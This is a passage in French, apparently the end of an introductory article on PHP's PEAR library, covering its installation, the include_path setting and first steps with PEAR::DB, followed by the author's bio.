Voilà. Lancer buildconf devrait créer le script configure standard qui peut être utilisé pour définir vos paramètres pour PHP. Pour une installation normale, PEAR devrait être automatiquement installé dans /usr/local/lib/php, mais vous pouvez installer les fichiers manuellement en allant dans ’php4/pear’ et en lançant make install-su en tant que superuser.

Ensuite, vous devriez ajouter le répertoire racine de PEAR à l’include_path de votre fichier php.ini. Le chemin par défaut devrait être /usr/local/lib/php, mais cela peut être ailleurs si vous avez effectué des modification manuelles de vos paramètres de configuration.

Débuter avec PEAR

Les composants de PEAR vont de l’abstraction de base de données à la gestion de cache, ce qui fait de PEAR plus qu’une simple librairie, c’est un nouveau standard pour écrire du code PHP portable et propre. L’une des plus importantes choses à faire pour un débutant avec PEAR est de lire les styles de codage PEAR qui sont publiés dans le manuel de PHP.

Je donnerais quelques conseil pour commencer à travailler avec PEAR ::DB, car c’est un des composant de PEAR les plus populaires. Vous pouvez trouver des exemples et de l’aide pour utiliser PEAR ::DB en suivant ces étapes :

• Cherchez des réponses à vos question sur MARC, dans pear-dev ou pear-general.
• Lisez les scripts de tests unitaires fournis avec le code source de PEAR. L’emplacement de ces scripts peut être trouvé dans le répertoire où se trouve votre image CVS de PHP. Dans mon cas, c’est /home/jpm/php4/pear/DB/tests/.
• Parcourez l’excellent tutoriel PEAR ::DB de Tomas V. V. Cox. J’espère que cet article a jeté un peu de lumière sur le mystérieux PEAR, et qu’il vous a fourni des informations utiles sur l’un des développements les plus prometteurs de la communauté PHP.

Amusez-vous !

Joao Prado Maia est développeur Web à San Francisco. Il a plus de quatre ans d’expérience en développement d’applications web et aime apprendre de nouvelles technologies et de nouveaux langages de développement.